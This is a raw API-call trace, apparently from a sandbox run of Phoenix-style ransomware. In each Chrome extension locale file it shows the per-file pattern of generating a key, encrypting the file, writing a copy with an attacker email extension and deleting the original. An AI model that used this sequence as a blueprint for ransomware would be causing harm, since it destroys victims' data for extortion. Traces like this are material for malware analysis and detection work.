	[0262.516] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.517] CryptDestroyKey (hKey=0x151500) returned 1
	[0262.517] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.517] CryptDestroyKey (hKey=0x151280) returned 1
	[0262.517] CloseHandle (hObject=0x2c4) returned 1
	[0262.517] CloseHandle (hObject=0x2c0) returned 1
	[0262.517] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json")) returned 1
	[0262.518] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.518] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.518] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=701) returned 1
	[0262.518] CloseHandle (hObject=0x2c0) returned 1
	[0262.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json")) returned 0x20
	[0262.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.525] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.525] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.525] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0262.525] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.525] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2bd, lpOverlapped=0x0) returned 1
	[0262.563] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2c0) returned 1
	[0262.563] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2c0, lpOverlapped=0x0) returned 1
	[0262.564] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0262.564] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.564] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.564] CryptDestroyKey (hKey=0x151400) returned 1
	[0262.564] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.565] CryptDestroyKey (hKey=0x151700) returned 1
	[0262.565] CloseHandle (hObject=0x2c0) returned 1
	[0262.565] CloseHandle (hObject=0x2c4) returned 1
	[0262.565] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\de\\messages.json")) returned 1
	[0262.566] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.567] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=875) returned 1
	[0262.567] CloseHandle (hObject=0x2c4) returned 1
	[0262.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json")) returned 0x20
	[0262.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.567] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.567] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.567] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.568] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.568] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0262.568] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.568] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x36b, lpOverlapped=0x0) returned 1
	[0262.587] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x370, dwBufLen=0x370 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x370) returned 1
	[0262.587] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x370, lpOverlapped=0x0) returned 1
	[0262.588] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0262.588] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.588] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.588] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0262.588] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.588] CryptDestroyKey (hKey=0x151300) returned 1
	[0262.588] CloseHandle (hObject=0x2c4) returned 1
	[0262.588] CloseHandle (hObject=0x2c0) returned 1
	[0262.588] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\el\\messages.json")) returned 1
	[0262.589] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.590] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=617) returned 1
	[0262.590] CloseHandle (hObject=0x2c0) returned 1
	[0262.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json")) returned 0x20
	[0262.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.590] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.590] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.590] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.590] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.591] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0262.591] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.591] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x269, lpOverlapped=0x0) returned 1
	[0262.599] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x270, dwBufLen=0x270 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x270) returned 1
	[0262.599] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x270, lpOverlapped=0x0) returned 1
	[0262.600] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0262.600] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.600] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.600] CryptDestroyKey (hKey=0x151400) returned 1
	[0262.600] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.600] CryptDestroyKey (hKey=0x151280) returned 1
	[0262.600] CloseHandle (hObject=0x2c0) returned 1
	[0262.600] CloseHandle (hObject=0x2c4) returned 1
	[0262.601] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en\\messages.json")) returned 1
	[0262.602] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.602] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=617) returned 1
	[0262.602] CloseHandle (hObject=0x2c4) returned 1
	[0262.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_gb\\messages.json")) returned 0x20
	[0262.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.603] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.603] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.603] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0262.603] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.603] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x269, lpOverlapped=0x0) returned 1
	[0262.627] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x270, dwBufLen=0x270 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x270) returned 1
	[0262.627] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x270, lpOverlapped=0x0) returned 1
	[0262.628] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0262.628] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.628] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.628] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0262.628] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.629] CryptDestroyKey (hKey=0x151480) returned 1
	[0262.629] CloseHandle (hObject=0x2c4) returned 1
	[0262.629] CloseHandle (hObject=0x2c0) returned 1
	[0262.629] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\en_gb\\messages.json")) returned 1
	[0262.630] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.630] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.630] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=696) returned 1
	[0262.631] CloseHandle (hObject=0x2c0) returned 1
	[0262.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\es\\messages.json")) returned 0x20
